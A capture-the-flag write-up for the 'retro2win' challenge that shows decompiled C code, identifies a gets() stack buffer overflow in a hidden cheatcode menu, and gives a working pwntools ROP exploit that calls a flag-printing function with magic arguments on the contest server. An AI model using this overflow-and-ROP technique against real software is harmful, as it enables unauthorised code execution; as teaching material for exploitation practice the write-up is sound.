Tags: overflow buffer
Rating:
We get a binary, and going to the `main` function, we see this
```c
// local variable allocation has failed, the output may be wrong!
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
show_main_menu(*(_QWORD *)&argc, argv, envp);
argv = (const char **)&v4;
*(_QWORD *)&argc = "%d";
__isoc99_scanf("%d", &v4;;
getchar();
if ( v4 != 2 )
break;
battle_dragon();
}
if ( v4 > 2 )
break;
if ( v4 != 1 )
goto LABEL_12;
explore_forest();
}
if ( v4 == 3 )
break;
if ( v4 == 1337 )
{
enter_cheatcode();
}
else
{
LABEL_12:
*(_QWORD *)&argc = "Invalid choice! Please select a valid option.";
puts("Invalid choice! Please select a valid option.");
}
}
puts("Quitting game...");
return 0;
}
```
Key point is that if we enter "1337" we can enter a "cheatcode", which is this function below
```c
int enter_cheatcode()
{
char v1[16]; // [rsp+0h] [rbp-10h] BYREF
puts("Enter your cheatcode:");
gets(v1);
return printf("Checking cheatcode: %s!\n", v1);
}
```
This is obviously vulnerable to a buffer overflow, because of the call to gets(). There is another interesting function called `cheat_mode`, which is this below
```c
int __fastcall cheat_mode(__int64 a1, __int64 a2)
{
char s[72]; // [rsp+10h] [rbp-50h] BYREF
FILE *stream; // [rsp+58h] [rbp-8h]
if ( a1 != 0x2323232323232323LL || a2 != 0x4242424242424242LL )
return puts("Unauthorized access detected! Returning to main menu...\n");
puts("CHEAT MODE ACTIVATED!");
puts("You now have access to secret developer tools...\n");
stream = fopen("flag.txt", "r");
if ( !stream )
return puts("Error: Could not open flag.txt");
if ( fgets(s, 64, stream) )
printf("FLAG: %s\n", s);
return fclose(stream);
}
```
This gives us the flag if the two args, a1 and a2 are 0x2323232323232323 and 0x4242424242424242 respectively. Here's the exploit:
```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
exe = context.binary = ELF(args.EXE or './challenge/retro2win')
rop = ROP(exe.path)
pad = b'A' * 24
rop.cheat_mode(0x2323232323232323, 0x4242424242424242) # args needed to call
io = remote('retro2win.ctf.intigriti.io', 1338)
io.sendline(b'1337') # enter cheatcode
io.sendline(pad + rop.chain()) # jmp to cheat_mode with args
io.interactive()
```